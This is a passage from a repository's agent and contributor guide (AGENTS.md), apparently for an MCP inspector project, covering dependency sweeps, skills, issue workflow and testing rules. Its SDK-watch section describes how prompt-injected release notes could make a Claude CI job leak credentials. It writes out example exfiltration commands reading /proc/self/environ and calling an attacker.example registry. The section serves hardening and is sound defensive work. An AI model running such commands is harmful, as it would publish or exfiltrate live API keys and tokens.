three bundler `external` lists** (`clients/{cli,tui}/tsup.config.ts`, `clients/web/tsup.runner.config.ts`), since which client reaches it is a function of what `core/` imports rather than of what the client's own code names. `npm run verify:bundle-externals` enforces this against the **built output**. -- **A dependency that renders React components must be bundled** into the client that uses it (`noExternal`) and declared only there — an externalized one resolves its own `react` and splits the tree. `ink` is the single exemption, on cost, and it is only safe while the root `react` range stays open to the whole major (`^19.0.0`). -- **One version per install-crossing dependency.** When bumping a dependency the shared sources pull in, bump it in every install that declares it. Consolidating to the root is what makes most of these unbumpable in two places at once, but it does not retire the rule — a client's `devDependencies`, and any package that arrives transitively into a client install, can still skew against the root. Never raise the tsc heap to work around one. `npm run verify:dep-lockstep` enforces this in two tiers: packages that reach one `tsc` **program** from two installs (the #1896 heap-exhaustion class), and — since #2226 — every package any install **declares** that more than one install holds a top-level copy of, whether or not a program ever sees both. -- **Pin a transitive dependency with an `overrides` entry**, not with `npm audit fix` — which "resolves" an advisory with no upward escape by silently downgrading. - -### Dependency updates are issue-driven, like everything else - -**Dependabot opens no pull requests against this repo — neither version updates nor security updates.** A Dependabot PR carries no `Closes #N` and no board card, so it was the one standing exception to [Issue-driven Work Style](#issue-driven-work-style), enforced by nothing. Both halves are now replaced by scheduled workflows that file **issues**, and a maintainer writes the fix by hand against `v2/main`. - -| Half | Switched off by | Replaced by | Cadence | -| ---------------- | ------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------- | -| Version updates | Deleting `.github/dependabot.yml` outright (#2235) — an empty `updates:` list is not valid config | `.github/workflows/dependency-refresh.yml` → `scripts/dependency-refresh.mjs`: `npm outdated` across every install, plus a `uses:` check against each action's latest release, folded into **one** tracking issue | Monthly | -| Security updates | `DELETE /repos/{owner}/{repo}/automated-security-fixes` — a **repo setting**, not a file | `.github/workflows/dependabot-alerts.yml` → `scripts/dependabot-alerts.mjs`: reads the alerts and files one issue **per bump** | Daily | - -Four things about this that are not obvious from the code: - -- **Dependabot _alerts_ stay on.** Alerts and security-update PRs are independent settings; only the PRs are off. Turning alerts off would blind the sweep that replaced them. -- **The security half is a schedule, not an event handler**, because there is no `dependabot_alert` workflow trigger — it is a webhook event only. -- **Alerts are computed from the default branch (`main`), and we ship from `v2/main`.** So the sweep re-checks each alert's vulnerable range against `v2/main`'s own lockfile before filing, and skips one that is already fixed there. The converse is a real blind spot with no fix on this path: a vulnerable dependency introduced on `v2/main` and not yet merged to `main` produces **no alert at all**. The release-time `npm audit --audit-level=high` report (#2231) is the partial second signal — and only at release time. -- **`automated-security-fixes` can be re-enabled from the UI without a commit**, so nothing in the repo would record it. The sweep reads it back and **fails loudly on an explicit `enabled: true`**. ⚠️ It is a _conditional_ guard, not an invariant: the endpoint needs `administration: read`, which `GITHUB_TOKEN` cannot be granted (`permissions:` has no such key), so under the default token the sweep logs **UNVERIFIED** and carries on rather than going red every day for an unrelated reason. Only a token carrying that scope makes it a real assertion. - -An issue filed by either sweep is an ordinary board item — `v2` + `chore` + `dependabot`, the current milestone, and a card on #28. **How it gets its card differs, and the two sweeps are not interchangeable here:** - -| | files the card itself? | -| --------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| Monthly version sweep | **No, never.** It does not attempt a board write at all and has no `PROJECT_TOKEN`; the issue arrives labeled and milestoned, and `/issue-triage` places it. | -| Daily security sweep | **Only when it can.** With an org-project PAT it places the card directly at **Todo / High**; without one it degrades to the same triage hand-off. | - -The board write needs `organization projects: write`, which `GITHUB_TOKEN` cannot have — hence "only when it can", and hence a filed-but-unboarded issue is a normal outcome rather than a failure. **Todo, not Incoming**, when the security sweep does place it: arriving through this pipeline _is_ the approval. **`High` is a standing override** of the [priority rubric](.claude/skills/issue-triage/SKILL.md), which would otherwise score a routine bump Medium; the issue body records the override so it does not read as a mis-score. ⚠️ A milestone is a precondition for placing a card — `Incoming` ⇔ no milestone — so the security sweep leaves an issue **unboarded** rather than parked at Todo when no dated milestone is open. It picks the open milestone with the nearest **due date**, ignoring undated buckets; the monthly sweep's own selection does not yet filter those out (raised on #2239), so don't read this as a guarantee both scripts already implement. - -### The SDK watch is the third sweep - -**`.github/workflows/sdk-watch.yml` → `scripts/sdk-watch.mjs` runs nightly (#1063) and files one issue per MCP SDK release we are behind**, labeled `v2` + `chore` + `dependencies`. It is not a Dependabot replacement — it exists because SDK churn, OAuth especially, was being tracked by habit rather than by mechanism — but it obeys the same rule as the two above: **it files an issue, never a PR.** - -- **Two upstreams, two issues.** `client`/`core`/`server`/`server-legacy` ship from `modelcontextprotocol/typescript-sdk` in lockstep and share one issue; `ext-apps` ships from its own repo and gets its own. A fifth `@modelcontextprotocol/*` package added to the root manifest and not added to `SDK_GROUPS` **fails the sweep loudly** rather than going unwatched — that guard is the point, since a hardcoded group table is otherwise a silent blind spot. -- **It compares the INSTALLED version, not the declared range.** The four SDK packages are pinned exactly, so the two agree for them; `ext-apps` is a caret range, so its lockfile can already resolve higher than the manifest's floor, and comparing the declared string would file an issue for a bump `npm install` has already taken. -- **The target is the LOWEST `latest` across a group — the version the whole group has reached — not the highest.** npm publishes a lockstep release one package at a time, so a sweep landing mid-publish sees one package ahead of its three siblings. Targeting the highest would name a version three of them do not have _and_ write a marker that suppresses the real filing once the publication completes, so the release would never be tracked at all. Taking the minimum keeps the issue actionable and lets the completed release file its own. -- **It never boards, like the monthly sweep** — no `PROJECT_TOKEN` exists in this org — so the issue arrives labeled and milestoned and `/issue-triage` places it. -- **It never closes an issue either.** A further release files its own issue and leaves a **supersession comment** on the older one; closing is a maintainer act, since the card may already have moved. An issue closed for the same target keeps suppressing it, so a maintainer's "not planned" is not re-argued nightly. - -**The analysis half runs Claude, not Copilot, and that is deliberate.** #1063 sketched "a copilot agent running Opus"; neither half of that is reachable from a workflow. Assigning `copilot-swe-agent` produces a **pull request** — the artifact this whole section exists to remove — and its model cannot be selected programmatically at all (`replaceActorsForAssignable` takes no model parameter; absent an admin-configured picker it runs Sonnet). So the `analyze` job uses `anthropics/claude-code-action` with `--model claude-opus-5`, which is told to post **one comment** and is denied every file-writing tool. It runs on `ANTHROPIC_API_KEY`, an **organization** secret already available to this repo, over the issues the sweep just created plus any **open** issue it already filed that still carries no analysis comment (the retry path below). What it never re-analyzes is an issue that already has one, or one that has been closed — which is what keeps it to a single analysis per release instead of a near-identical comment every night. - -- **"An issue exists" and "the issue was analyzed" are different claims**, and the sweep must not equate them. The posting step stamps `ANALYSIS_MARKER` on its comment; a sweep that finds an **open** existing issue for the current target but no such comment **re-queues it**, so a failed or timed-out `analyze` job is retried rather than silently never revisited. ⚠️ **Open only** — suppressing and re-queuing are different questions about the same match, and a closed issue must keep suppressing without being handed a fresh comment every night. That marker is duplicated in the workflow because the posting step is shell — a test asserts the two strings match, since drift would make every issue read as unanalyzed forever. - -⚠️ **Upstream release notes are untrusted input to that job, and the model is granted nothing that can write anywhere.** The tool whitelist is the only real control — the prompt's prose constraints are not — and two revisions of it were wrong before this one landed: - -- `Bash(gh api:*)` against an `issues: write` token allowed arbitrary issue mutation. -- Pinning `Bash(gh issue comment <N>:*)` to the tracked issue did **not** fix it, because a `Bash(...)` grant matches a command **prefix** and says nothing about the flags that follow. `gh issue comment <N> --body-file /proc/self/environ` matches that grant, and the job's subprocess environment holds `ANTHROPIC_API_KEY` and `GITHUB_TOKEN` — so a prompt injection could have published live credentials into a public issue. -- `Bash(npm view:*)` was the same hole pointing outward: `npm` accepts `--registry=<arbitrary URL>`, so `npm view x --registry=https://attacker.example/<encoded secret>` matched the grant and exfiltrated to a host of the attacker's choosing, where no output scan can see it. - -**The general rule, since it caught us twice: a prefix grant constrains the command, never its flags. Check what flags a command accepts — especially any that take a path or a URL — before granting it.** A tool test in `sdk-watch.test.mjs` pins the whitelist against `npm`, `curl`, `wget`, `WebFetch` and `WebSearch` so this cannot regress quietly. - -⚠️ **Permissions are scoped per JOB, not per step**, so a job that runs a model cannot also hold the write scope its posting step needs — the token reaches the model regardless of how carefully the step is written. The workflow is therefore **three** jobs: `sweep` (`issues: write`, files the issues), `analyze` (**`contents: read`**, runs the model), and `post` (`issues: write`, writes the comment). **The invariant is "no model runs in a write-capable job", not "only one job can write"** — two of the three write, and neither runs a model. `analyze` hands its text to `post` as an **artifact**, not a job output, because matrix job outputs collide — every leg writes the same key — which would post one group's write-up onto the other group's issue. A test asserts `analyze`'s permissions are exactly `contents: read` and that it contains no posting step. - -⚠️ **`--tools` restricts what is available; `--allowedTools` only pre-approves.** They are not interchangeable and the difference is a security boundary, not a nicety — a tool some other settings file or plugin already permits stays reachable when only `--allowedTools` names it. This repo learned that once in `scripts/skill-eval.mjs` and then repeated the mistake here. The analysis job now enumerates availability with `--tools "Read,Grep,Glob"`, pre-approves the same three so no headless run stalls on a prompt, and denies the rest by name as a third layer. - -⚠️ **The model gets no `Bash` at all**, and that is the resolution of the whole class above rather than a fourth patch to it. Every command grant turned out to have a wider flag surface than the grant looked, and a `Bash(...)` rule can match a **compound** command (`gh release view … && curl …`) besides. So the upstream release notes are **prefetched by a deterministic step** into `upstream-release-notes.md` and the model only reads files. When a grant keeps needing narrowing, take the capability away instead. - -⚠️ **A marker is not evidence — this repo is public.** Anyone can open an issue or write a comment whose body starts with any string, and every marker here drives automation. Untrusted, an outsider could file (and close) an issue carrying the current target's marker to suppress the real upgrade issue indefinitely, post `ANALYSIS_MARKER` to suppress analysis retries forever, or forge a supersession note so the genuine one is never posted. So the sweep trusts a marker **only** on something the automation wrote: an issue must be authored by `github-actions` _and_ carry the `chore` + `dependencies` labels an outsider cannot set, and a comment must come from `github-actions[bot]`. Marker versions are validated with `semver.valid` too, since a malformed target would otherwise throw in `semver.lt` and fail the sweep every run. - -So the model returns its write-up as structured output (`--json-schema`) and never posts anything itself. The write-up crosses **two** boundaries before it becomes a comment, and each one is a property to preserve: - -1. **Out of the model's job.** A step in `analyze` scans the text and, only if it passes, writes `analysis.md` and uploads it as an artifact. ⚠️ **The scan gates the write, in the same step, and the upload is gated on that file existing** — scanning later would be no protection at all, since this repo is public and an artifact holding a verbatim credential is downloadable for as long as it is retained. Refusing to _post_ text that has already left the job refuses nothing. -2. **Into the comment.** `post` downloads the artifact, scans it again (defense in depth — the artifact is the boundary, so each side checks what it handles), and streams it to `gh issue comment --body-file -` over **stdin**, so nothing in the body can be read as a flag or a path. - -`WebFetch` is denied and the model has no shell, so it controls no outbound channel; release notes are prefetched with `gh api` by a deterministic step. **Keep every one of those properties when editing this job**, and note that a test pins the scan-before-upload ordering specifically, because ordering is the whole control. - -⚠️ **One channel is still open, and it is accepted deliberately rather than closed.** `claude-code-action` copies the action's environment into the model's, so `ANTHROPIC_API_KEY` is readable by a `Read` the analysis genuinely needs, and `analysis` is model-controlled text this workflow publishes. The verbatim-credential scan catches only the naive shape; an encoded value passes it. **What makes that acceptable is the threat model, not the controls: both upstreams this sweep reads (`modelcontextprotocol/typescript-sdk`, `modelcontextprotocol/ext-apps`) are in this repository's own org**, so the release notes are first-party content, and anyone able to plant an injection in them already holds release rights here. Closing it properly means workload identity federation instead of a long-lived key (`anthropic_federation_rule_id` + `id-token: write`) — possible, but org-admin work on the Anthropic organization, and disproportionate against our own changelogs (#2269, closed as not planned, records the full reasoning). - -**That assessment is what to re-open if the inputs change.** Point the analysis at an upstream outside this org, or feed it third-party content, and the trade changes — at which point federation, or a dedicated CI-scoped key with a spend cap, is the next step rather than another grant to narrow. - -## Contributing - -External contributions are accepted as **issues, not pull requests** — maintainers handle design and implementation through a prompt-driven workflow. -If you've already built a change locally, share the **prompt** you used and screenshots if applicable, not a diff. See [`CONTRIBUTING.md`](./CONTRIBUTING.md) for the full policy. - -**This applies to org members with write access too, not just outside contributors.** Having permission to push a branch is not authorization to open a PR. Pull requests against this repo are opened by the **repo maintainers** only. Anyone else — including organization members whose write access makes it technically possible — opens a **detailed issue** instead, and a maintainer takes it from there. A detailed issue means: the problem, how to reproduce it, the behavior you expected, and — if you've already prototyped a fix — the prompt you used and any screenshots, rather than a diff. - -**Issues are filed through the forms in [`.github/ISSUE_TEMPLATE/`](./.github/ISSUE_TEMPLATE) — blank issues are disabled.** GitHub serves the chooser from the **default branch** only, so a form edited here on `v2/main` has no effect on the live chooser until the next milestone merge into `main` — and it cannot be previewed before then, which is why the schema notes below matter. There are two forms, **Bug report** (`1-bug_report.yml`, auto-labels `bug`) and **Feature request** (`2-feature_request.yml`, auto-labels `enhancement` **and `v2`**); `config.yml` holds the chooser's contact links. A form's `labels:` is **static** — GitHub cannot map a reporter's answer to a label — which splits the two cases: the **bug** form could target either line, so it carries a required version-line _dropdown_ and a maintainer applies the matching label at triage per [Label by version](#issue-driven-work-style); the **feature** form is v2 by construction (v1 takes security fixes only and cannot receive a feature), so it needs no dropdown and declares `v2` statically. If v1 ever reopens to features, that static label is what has to change. **There is deliberately no security template**: a vulnerability report must not open a public issue, so the chooser routes it to the private advisory form as a contact link instead (see [`SECURITY.md`](./SECURITY.md)). When adding or changing a form, validate it against GitHub's issue-forms schema (`markdown` blocks take no `id` and no `validations`; `checkboxes` mark `required` per option, not under `validations`). - -**Every PR must reference an issue. No exceptions, regardless of who opens it.** The PR body's first line is `Closes #<ISSUE_NUMBER>` (see the [Issue-driven Work Style](#issue-driven-work-style) rules below). A PR with no linked issue has no board card, so the work is invisible to the project board and untracked — if you're about to open one and there's no issue yet, create the issue first. This holds for a maintainer's own one-line fix as much as for a feature. - -## Project Status and Direction - -Three branches, three distinct roles. Target the one matching the work; **never -open a PR against `main`**. - -| Branch | Role | PRs target it? | Publishes to | -| --------- | ----------------------------------------------------------------------------------------------- | --------------------------------------------------------- | ------------------------------------------------ | -| `v2/main` | **Develop.** All active v2 work lands here. | **Yes** — every v2 PR | nothing directly; reaches npm via `main` | -| `main` | **Release.** The repo's default branch; holds the latest released v2. Not a development branch. | **No** — it only receives milestone merges from `v2/main` | `latest` | -| `v1/main` | **Maintenance.** The deprecated v1 line, security fixes only, no active development. | **Yes** — every v1 PR, directly | `v1-latest`, published straight from this branch | - -So v2 flows `feature branch → v2/main → (milestone) main → npm latest`, while v1 -is flat: `feature branch → v1/main → npm v1-latest`, with no merge into `main` at -any point.

The version bump rides the same flow and is made on -`v2/main`; see the `release` skill. - -## Maintenance Rules - -### Keep documentation files up to date - -- When adding, removing, renaming, or changing the purpose of any file or folder, update the corresponding entry in the main README.md and/or the related clients/\*/README.md -- When the structure of the project, the tech stack, or the developer setup changes, update the appropriate README.md files with the details. -- When adding new commands, dependencies, or architectural patterns, update the relevant sections of the appropriate README.md files as well. -- When rules for implementation and testing change, update this file, AGENTS.md. -- **When a _procedure_ changes, update the skill that owns it — not this file.** Rules live here; recipes live in `.claude/skills/`. Two copies of a board ID or a command sequence is strictly worse than one, because the stale copy is indistinguishable from the live one. - -### Maintaining the skills - -Skills are conditional — a skill's body loads only when it is invoked — so a -skill that stops being reachable loses behavior **silently**. Four rules keep -that from happening: - -1. **`npm run verify:skills` must pass.** It runs inside `validate:guards`, - which `validate` (CI) and `local:validate` (the gate) both run first. It parses each `SKILL.md`'s frontmatter the way Claude - Code does and fails on anything that would strip the metadata — most importantly - **malformed YAML**, which loads the body with an _empty_ description, so - `/skill-name` still works and a manual spot check passes while the skill can - never auto-fire again. An unquoted colon in a description is enough — and so - is an unquoted **`#`**, which YAML reads as a comment and which truncates the - description _silently_ from that point on rather than emptying it. `board-ops` - shipped that way: `Covers board #28 (v2) and board #11 (v1), their -node/field/option IDs, and the option-deletion hazard` was cut at `#28`, so 90 - characters — including both board numbers — were absent from the listing while - every check stayed green, because a truncated description is still a non-empty - one. **Quote any description containing `#` or `:`.** It also - runs `claude plugin validate` — the authoritative schema — when the installed - CLI is **exactly** the pinned version, and otherwise says so and moves on. - That best-effort hand-off keeps `validate` fast and offline, but it also - means it usually does not run — so the authoritative check gets a **guaranteed - step of its own**, `npm run verify:skills:cli`, in `local:gate` and in CI. - It resolves the CLI rather than hoping for one: an installed CLI **only when - it matches the pin exactly**, otherwise the pinned package via `npx -y`. - Exact rather than a floor, because a newer local CLI is a _different_ schema - from CI's — accepting it would let the same `local:gate` disagree across - machines, which is what a pin exists to prevent. Both tiers run the same - script, so they cannot drift either. - ⚠️ Frontmatter is only read when the opening `---` is the file's **first - line** — no BOM, no leading blank line. -2. **Every skill declares its invocation mode explicitly.** - `disable-model-invocation` is **required** on every skill (`true` = reachable - only by name, `false` = the model may fire it). A skill that is background - knowledge rather than an action also sets `user-invocable: false`. - **Default to `false`.** `true` was the original default here, on the argument - that a procedure with side effects would be typed as `/name` anyway — but - _invoking_ a skill has no side effects, it loads instructions, and the premise - is false for anything a user asks for in prose. "Create a PR for #2163" is how - that work actually starts, and under `true` the model **cannot** reach the - skill at all: it is absent from the listing and the Skill tool refuses it. The - costs are asymmetric — a spurious load costs ~250 characters, a missed one - costs a wrong base branch or an unsigned commit — and the budget is not tight - (nine of the ten are model-invoked today and total ~3.2k of 4k). Reserve - `true` for a procedure that is genuinely only ever started deliberately — - `release` is the only one left, because nobody cuts a release by implication. - ⚠️ **A `true` skill cannot be reached by another skill either.** If a - model-invocable skill says "see `/board-ops`", that pointer is a dead end for - the model unless `board-ops` is model-invocable too. - ⚠️ **Flipping is not free, and the listing budget is not what costs.** Going - from three model-invoked skills to nine measurably _lowered_ the trigger rate - of the ones already there: `project-structure` fell from 100% to 0% on two - cases (n=4) and `testing` from 3/5 to 2/5, while the six new skills all - measured 100% and every negative case stayed clean. So the ceiling is - attention, not characters — we were at 2.8k of a 4k budget throughout _that - experiment_ (it is ~3.2k now; the point is that nothing was near the cap). Adding - a skill therefore has a cost paid by the _existing_ ones, which only - `skills:eval` can see. **Re-run the full eval after any flip _or description - edit_**, not just the changed skill's own cases. - **How to write a description that fires, and cases that measure it, is - [`docs/skill-authoring.md`](./docs/skill-authoring.md)** — the case shapes - that work, the ones that can never pass, and the probe-then-measure loop. - The lever that works is the description's _shape_. Leading with the actions - and then enumerating concrete situations ("Use when … ; when … ; when …") - beats a noun-phrase list of contents: it took `pre-push-gate` from 3/5 to 5/5 - and `testing`'s three cases from 25/50/25% to 100% each (n=4), displacing - nothing else. - ⚠️ **`paths` is not a free win.** It looks like the deterministic option, and - it does gate loading to matching files — but measured against the `testing` - skill's own eval cases, adding it roughly **halved** the rate at which the same - skill fired from a conversational prompt (0–50% with `paths`, 33–100% - without). It also cannot be measured: a prompt-only eval can never exercise a - path trigger, so shipping `paths` means shipping an untestable claim. Reach - for it only when the skill is useless outside those files, and say in the PR - that you accepted that trade. -3. **A model-invoked skill carries committed eval cases** at - `evals/evals.json` — positives **and negatives**. Seeing a skill fire once tells - you Claude found it, not that it finds it reliably, and a skill that fires on - everything is a context regression that nobody notices by hand. `verify:skills` - requires both kinds — and at least **five** positives, for breadth rather than - variance: each prompt is scored on its own `passes / RUNS`, so more prompts - steady nothing, they cover more of the ways someone might reach the skill and - expose a description that only fires on one narrow phrasing; `npm run skills:eval` actually runs them (it needs the - `claude` CLI and real model calls, so it is deliberately **not** in the gate — - run it when adding a skill or editing a model-invoked description). - Two things learned writing the first set, both of which make a case measure - the wrong thing: a prompt whose answer is **already in this file** is not a - trigger case — the model answers correctly without the skill, and the case - reads as a miss; and a prompt naming a concrete file or mechanism - ("how does the `@inspector/core` alias resolve?") invites a `Read`, which is - a _better_ answer than a skill. Good cases are "how do I / where does this go" - questions whose answer is a procedure. - **A pointer from one skill's body to another is measured by a `chain` case, - not an `expect` one.** A first-move case can only observe the model's opening - tool call, so a skill reached only _through_ another scores a clean 100% on - its direct cases while the hand-off silently never fires (#2204). A chained - case names the ordered skills one run should load, **ending with the skill - whose file it lives in** — so the file that goes red is the one belonging to - the skill that stopped being reached. It runs on a wider turn budget, is - scored against its own `CHAIN_THRESHOLD`, and is **reported in its own - column**: a hand-off rate and a first-move rate are not comparable, and - folding them together would move a headline everyone reads as trigger - reliability. It counts toward neither the five-positive floor nor the - negative requirement, and it is only worth writing where the first link's - body actually points at the target — a chain through a skill that says - nothing about it is a permanent 0% with no lever. - ⚠️ **A green chain case proves the second skill LOADED, never that it - answered.** `testing` -> `test-servers` held 100% while `test-servers` - documented only the two-process manual path, so a model arriving from an - integration-test prompt was handed the wrong half of the procedure (#2264). - When a chain goes green, read the target's body as the caller who arrives - through the pointer; no number measures that. - ⚠️ **The gate cannot catch a description that never matches.** `verify:skills` - checks that a skill is well-formed and that its cases exist; only - `skills:eval` observes whether it actually fires, and that cannot be gated — - it spends metered model calls, its result is a hit rate rather than a verdict, - and it goes red on a rate limit. So the eval is a tuning tool you run - deliberately, and a case below threshold is a signal, not a build break. -4. **Re-check the listing budget when adding a skill.** Claude Code loads a - listing of every skill's name and description into context, truncates it when it - overflows, and drops the least-invoked entries **first** — which are exactly the - model-invoked skills that must fire on their own. `verify:skills` prints the - current cost against the budget recorded in `scripts/lib/skill-manifest.mjs` - (3,234/4,000 characters as of this writing) and fails when it is exceeded. Raise - the budget deliberately, or tighten a description; each entry is capped at 1,536 - characters regardless, so **put the key use case first**. - -One asymmetry that reinforces the rules-vs-recipes split: once invoked, a skill's -content stays in the conversation — but auto-compaction re-attaches only the most -recent invocation of each, under a combined budget, so in a long session the older -ones can be dropped entirely. `AGENTS.md` does not degrade that way. **If a -convention lived solely in a skill body it could vanish mid-session, in exactly -the long tasks where it matters most** — which is why rules stay here. - -⚠️ Skills in nested `.claude/skills/` directories below the working directory do -**not** load at startup. Keep everything in the repo-root `.claude/skills/` and -let `paths` do the scoping. - -## Issue-driven Work Style - -All work is driven by items on the project board. The _recipes_ for the flows -below are in the `issue-create`, `issue-triage`, `board-ops` and `pr-flow` -skills; the rules are here. - -- **Before starting work, check the board for the relevant item.** -- **Every board item is a real GitHub issue.** No draft cards. Before creating a new issue, check the board for a matching item — **never create a duplicate**. -- **Only issues go on a board — never PRs.** A PR gets the `v2` label but is tracked through its linked issue's card (via `Closes #N`), not its own board item. -- **Label by version — every issue and every PR, no exceptions.** Exactly one of `v1` (work targeting `v1/main`, the deprecated security-fix-only line) or `v2` (active development; the default for anything new). There is no unlabeled state and no "decide later": an issue with neither label belongs to no version line and is invisible to every version-filtered query. Set it at **create time** (`gh issue create --label v2 …`), never by backfilling. **If the target version isn't obvious, it's `v2`.** -- **Label by type — exactly one of `bug` / `enhancement` / `documentation` / `chore` / `question`** on every issue you create or triage. The version label says which line the work belongs to; the type label says what kind of work it is, and the two are independent. Don't force the binary: pressing a docs task or a dependency pin into `enhancement` degrades it to "not a bug", at which point filtering by it stops telling you anything. A **PR** needs no type label — it is classified through the issue it closes. -- **Every v2 issue you create gets a milestone.** Milestones are _release_ buckets, so pick by when the work ships. Never leave a v2 issue you filed unmilestoned pending a decision. Two exceptions, both deliberate: an issue that arrives **unboarded** stays unmilestoned in `Incoming` until a maintainer approves it — there, the _absence_ of a milestone is the signal; and **every milestone is a v2 release bucket, so a `v1` issue has none to take**. Say so when filing one rather than dropping it in a v2.x bucket. -- **Every v2 board item has a Priority.** Priority is a **board field**, not a label, so an unboarded issue has nowhere to store it. Derive it with the rubric in the `issue-triage` skill rather than asserting it. Board #11 has no Priority field; a v1 issue gets a Status and nothing else. -- **`Incoming` ⇔ no milestone; everything past it ⇔ milestoned — on board #28.** Board #11 is exempt for the reason above: a v1 issue has no bucket to take, so its Status is set on its own and the audit's milestone checks do not apply to it. The rest of the invariant is unchanged: assigning the milestone _is_ the approval act, so the two always go together. `Todo` asserts a maintainer signed off, so never park an unreviewed issue there — that erases the distinction and quietly promotes unreviewed work into the queue. An issue created through the documented flow skips `Incoming` entirely, because filing it _was_ the approval. -- **`Done` means the work shipped.** Exactly two things earn a card a place in Done: its **PR merged**, or it is a **parent whose last sub-issue closed**. Anything else — duplicate, won't fix, not planned, obsolete, superseded — means nothing shipped, so the card is **deleted**. Done is read as the record of what a milestone actually delivered; a duplicate sitting there makes that record wrong in a way nobody can detect later. Deleting a card touches the board only — the issue keeps its labels and comments and stays searchable forever. -- **When work begins**, create a feature branch and set Status to **In Progress**. **Branch names start with the target version segment** — `v2/fix/2071-oauth-resource-metadata`, `v1/fix/proxy-ssrf-pin` — matching the base branches themselves. -- **When work is complete**, run `npm run format` then `npm run local:gate`, **sign off every commit** (`git commit -s` — the DCO check is a hard merge gate with no partial credit), open a PR against the matching base branch with **`Closes #<ISSUE_NUMBER>` as the body's first line**, and set Status to **In Review**. -- **Attach screenshots as proof of functionality** for any web-UI or TUI change. Put them in a **`pr-screenshots/`** folder off the repo root — it is **gitignored**, so the images are staged for upload and never committed — and name them for what they show. -- ⚠️ Closing keywords only auto-link and auto-close for PRs targeting the **default branch** (`main`). A v2 PR targets `v2/main`, so `Closes #N` there is only a cross-reference. **On merge, manually close the issue and move the card to Done.** Keep the line anyway, so the issues close if/when `v2/main` reaches `main`. -- **If new tasks are discovered during development, create issues** and add them to the board. - -### Responding to Code Reviews - -When asked to respond to a code review of a PR: - -- it is not necessary to implement all suggestions -- you are free to implement suggestions in a different way, or to ignore one if there is a good reason -- after making the changes, respond to each review comment with what was done (or why it was ignored) -- **that response goes in the review comment's own thread — a rollup comment does not discharge it.** Each review comment is a discussion thread with its own resolve state, so a bullet posted elsewhere on the page cannot be connected back to the thread it answers: the thread stays open showing a finding and no reply, and the PR reads as though the review were ignored. Replying does not itself **resolve** a thread — that is a separate act and the reviewer's to make — but it is what makes resolving it defensible. Reply inline first, per comment; then post the PR-level summary **in addition**, because inline replies go hidden once the fix is pushed. A finding in the review's "Suppressed comments" block has no thread to reply into, so the summary is the only place it can be answered — that is the one exception. The `gh` calls are in the `pr-flow` skill, step 8. - -## Always test new or modified code - -The _procedure_ — where a given test file goes, which command runs it, how to -diagnose a failing gate — is the `testing` skill. These are the rules. - -- **Ensure all code has corresponding tests.** New code must clear **≥ 90 on all four dimensions** — lines, statements, functions, and branches — per file. This gate is enforced by each client's `test:coverage` across `clients/web`, `clients/cli`, `clients/tui` and `clients/launcher`, and **CI enforces it**: a PR that drops any file below 90 on any dimension fails. -- **A genuinely-unreachable branch is annotated at the source, never waved through by lowering the gate.** Use a justified `/* v8 ignore … -- <reason> */`. Acceptable reasons: happy-dom-inherent paths (Mantine portal mount points, `useMediaQuery` fallbacks, `typeof window` SSR guards); React StrictMode effect-replay blocks; and provably-dead defensive guards (a `?? fallback` for a value the types guarantee non-null, a `Select.onChange` receiving a value outside the allowed list). Reach for it only when the branch is genuinely impossible to exercise. -- **In unit tests that expect error output, suppress it from the console.** -- **Test placement — side-by-side by default, `src/test/` only for what can't be co-located, and the Node clients are different.** - - **`clients/web`**: `<Name>.test.tsx` **next to the source** — components, hooks, `lib/`, `utils/`. A web-owned test living under `src/test/` instead is a bug. `src/test/` is for the three things that cannot be co-located: tests of the repo-root **`core/`** package (`src/test/core/…`, mirroring the `core/` layout — it lives outside `clients/web/` and has no harness of its own); the **`integration`** project (`src/test/integration/…` — _placement is the manifest_, picked up by a folder glob, with no enumeration to keep in sync); and **shared test infrastructure** (`renderWithMantine.tsx`, `setup.ts`, `fixtures/`). - - **`clients/cli`, `clients/tui`, `clients/launcher`**: **all** tests in a top-level **`__tests__/`**, not beside their source. Their `tsconfig.json` excludes `**/*.test.*`, so a co-located test lands in **no** tsconfig project and fails `npm run verify:typecheck-coverage`. - - **Root tooling**: a `scripts/*.mjs` helper with pure logic gets a sibling `*.test.mjs`. Keep that exact filename — `node --test` silently _skips_ a file its glob misses and still exits 0. -- **Render Ink components through the TUI's own `render`** (`clients/tui/__tests__/helpers/renderTui.tsx`), never `ink-testing-library`'s directly. It is the same function with every frame ANSI-stripped, which is what keeps an assertion on styled text from depending on the ambient environment: Ink writes styling *inside* the styled run, so `<Text underline>I</Text>nfo` reaches the frame buffer with escapes between `I` and `nfo` and `toContain("Info")` fails. It only bites where chalk emits color — a developer whose shell exports `FORCE_COLOR` — so CI is green on a suite that is broken for them (#2207). A test that genuinely needs the raw bytes reads `stdout.lastFrame()` off the returned instance. -- **Render React components through `renderWithMantine`** (`src/test/renderWithMantine.tsx`); do not hand-roll a bare `MantineProvider`, which skips the project theme and the helper's options and drifts from every other test. Pass the `colorScheme` option to exercise a forced scheme rather than hand-rolling `defaultColorScheme`. Use `renderWithMantineTransitions` **only** when a test must assert mid-flight transition state, and read the long comment on the helper before changing anything about it. -- **The web coverage `include` is a whitelist.** It names `components`/`hooks`/`theme`/`lib`/`utils`/`server` plus the browser-consumed `core/*` runtime, so a module placed **outside** those directories falls out of the gate entirely, silently. Place new modules inside a gated directory. The documented exceptions — `src/App.tsx` and the `src/main.tsx` / `src/index.ts` bootstraps — are called out in a comment on the `include` array itself. - -### Test-gate timeouts are chosen values, stated once - -**Every wall-clock budget a test gate runs under is a value somebody picked, -and it lives in one place (#2323).** The shared budgets are `TIMEOUTS` and -`INTEGRATION_TIMEOUTS` in `vitest.shared.mts`; all six Vitest projects spread -one of them, and Testing Library's `asyncUtilTimeout` — which no Vitest config -can see — is configured in each web project's setup file -(`src/test/setup.ts`, `src/test/storybookSetup.ts`). -`npm run verify:test-timeouts` resolves each project through Vitest itself and -enforces all of it. - -This is not a licence to relax the bar. #1596 settled that: **a test that races -is fixed with fake timers or an awaited condition, never with headroom.** The -complementary case is what these budgets exist for — a test that is correct and -deterministic and is simply cut off, because the number bounding it was a -library default sized for an idle machine rather than for the one this repo is -worked on (three or four concurrent agent sessions in separate worktrees, each -free to run a full `local:gate`). Raising a budget nobody chose hides no race. - -- **Raise a budget in the shared object, not at a suite.** A per-suite - `}, 30_000)` moves one site and leaves every future file where it was — which - is how five of the six projects came to have no stated budget at all. Delete a - restatement of the project's own value rather than keeping it in sync. -- **A per-suite raise is right only where the work is genuinely different**, and - then it says so: real cross-process lock contention (`file-lock.test.ts`), a - full interactive OAuth 